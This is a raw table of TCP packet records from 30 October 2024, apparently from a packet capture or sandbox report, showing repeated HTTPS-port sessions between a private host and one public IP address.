Oct 30, 2024 07:28:28.807866096 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.810205936 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.810225010 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.810538054 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.810714960 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.810724974 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.088603020 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.088697910 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.334026098 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.334881067 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.334898949 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.335405111 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.335411072 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.472249985 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.472295046 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.472356081 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.472393036 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.472436905 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.472659111 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.472676039 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.472687006 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.472693920 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.475944996 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.475975990 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.476198912 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.476404905 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.476418972 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.513596058 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.515347004 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.515376091 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.516062975 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.516067982 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.518721104 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.519157887 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.519169092 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.519654036 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.519659042 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.542248011 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.542862892 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.542877913 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.543596983 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.543601990 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.553661108 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.554184914 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.554219007 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.555104971 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.555111885 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.644160032 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.644234896 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.644309998 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.646099091 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.646135092 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.646187067 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.646244049 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.650336027 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.650366068 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.650384903 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.650392056 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.650487900 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.650507927 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.650520086 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.650525093 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.654953003 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.655003071 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.655294895 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.656790018 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.656804085 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.657790899 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.657826900 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.658267975 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.658385038 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.658401966 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.674683094 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.674712896 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.674762011 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.674807072 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.674854040 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.675101995 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.675112009 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.675122023 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.675126076 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.677891016 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.677915096 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.677998066 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.678165913 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.678174973 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.695149899 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.695394039 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.695513964 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.695694923 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.695708036 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.695718050 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.695724010 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.698481083 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.698515892 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:29.698606968 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.698729038 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:29.698740959 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.222279072 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.222927094 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.222943068 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.223444939 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.223449945 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.353753090 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.353868961 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.354155064 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.354549885 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.354567051 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.354576111 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.354581118 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.358125925 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.358169079 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.358258009 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.358441114 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.358452082 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.379019976 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.379859924 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.379897118 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.380287886 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.380294085 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.390937090 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.391546011 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.391568899 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.392013073 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.392016888 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.413404942 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.414218903 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.414248943 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.414709091 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.414716005 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.449039936 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.449860096 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.449881077 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.450196028 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.450200081 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.506784916 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.506855965 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.506977081 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.507076025 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.507123947 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.507334948 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.507365942 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.507388115 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.507394075 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.511161089 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.511209965 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.511276960 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.511425972 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.511437893 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.522145987 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.522241116 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.522670984 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.522766113 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.522780895 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.522794962 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.522799969 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.526462078 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.526504040 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.526575089 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.526743889 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.526753902 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.542834997 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.542908907 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.542957067 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.543003082 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.543028116 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.543103933 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.543123007 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.543133020 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.543138981 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.546097040 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.546145916 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.546207905 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.546329021 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.546344042 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.582638025 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.582739115 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.582828999 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.583070040 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.583087921 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.583120108 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.583125114 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.586325884 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.586429119 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:30.586528063 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.586689949 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:30.586715937 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.091245890 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.091941118 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.091973066 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.092607021 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.092612982 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.223232985 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.223444939 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.223555088 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.223717928 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.223742008 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.223752975 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.223758936 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.227125883 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.227174997 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.227364063 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.227555037 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.227569103 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.247673988 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.248195887 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.248218060 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.248703957 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.248708963 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.256947041 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.257407904 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.257426023 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.257859945 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.257864952 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.278053999 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.278825998 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.278845072 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.279650927 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.279659033 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.306169033 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.309079885 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.309134960 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.309612989 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.309617996 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.387574911 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.387607098 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.387655973 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.387728930 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.387896061 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.388118029 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.388151884 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.388163090 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.388169050 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.391757965 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.391793013 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.391881943 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.392057896 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.392069101 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.407870054 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.407943010 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.408176899 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.408334017 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.408334017 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.408354044 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.408365965 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.410991907 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.411046982 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.411161900 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.411308050 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.411330938 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.414036989 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.414206982 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.414272070 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.414298058 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.414308071 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.414324045 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.414328098 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.416418076 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.416469097 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.416577101 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.416693926 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.416711092 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.434319973 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.434345961 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.434392929 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.434549093 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.434884071 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.434884071 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.434899092 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.434906960 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.437321901 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.437372923 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.437452078 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.437593937 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.437609911 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.975224972 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.975976944 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.976003885 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:31.976521969 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:31.976526976 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.107705116 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.107795954 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.107990980 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.108124018 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.108149052 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.108160973 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.108166933 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.111351967 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.111449003 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.111582041 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.111745119 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.111782074 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.120260000 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.120758057 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.120790005 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.121217012 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.121222973 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.160913944 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.161772966 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.161804914 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.161968946 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.161973000 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.175101995 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.175651073 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.175674915 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.175930977 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.175941944 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.196614027 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.197295904 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.197360039 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.197510958 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.197529078 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.250777006 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.250863075 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.251168013 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.251259089 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.251280069 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.251293898 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.251298904 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.254300117 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.254374981 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.254486084 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.254720926 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.254749060 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.293329000 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.293399096 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.293668985 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.293732882 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.293732882 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.293755054 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.293786049 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.296693087 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.296730995 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.296799898 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.296963930 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.296987057 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.314450026 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.314532995 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.314836025 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.314836025 CET	49982	443	192.168.2.4	13.107.246.45
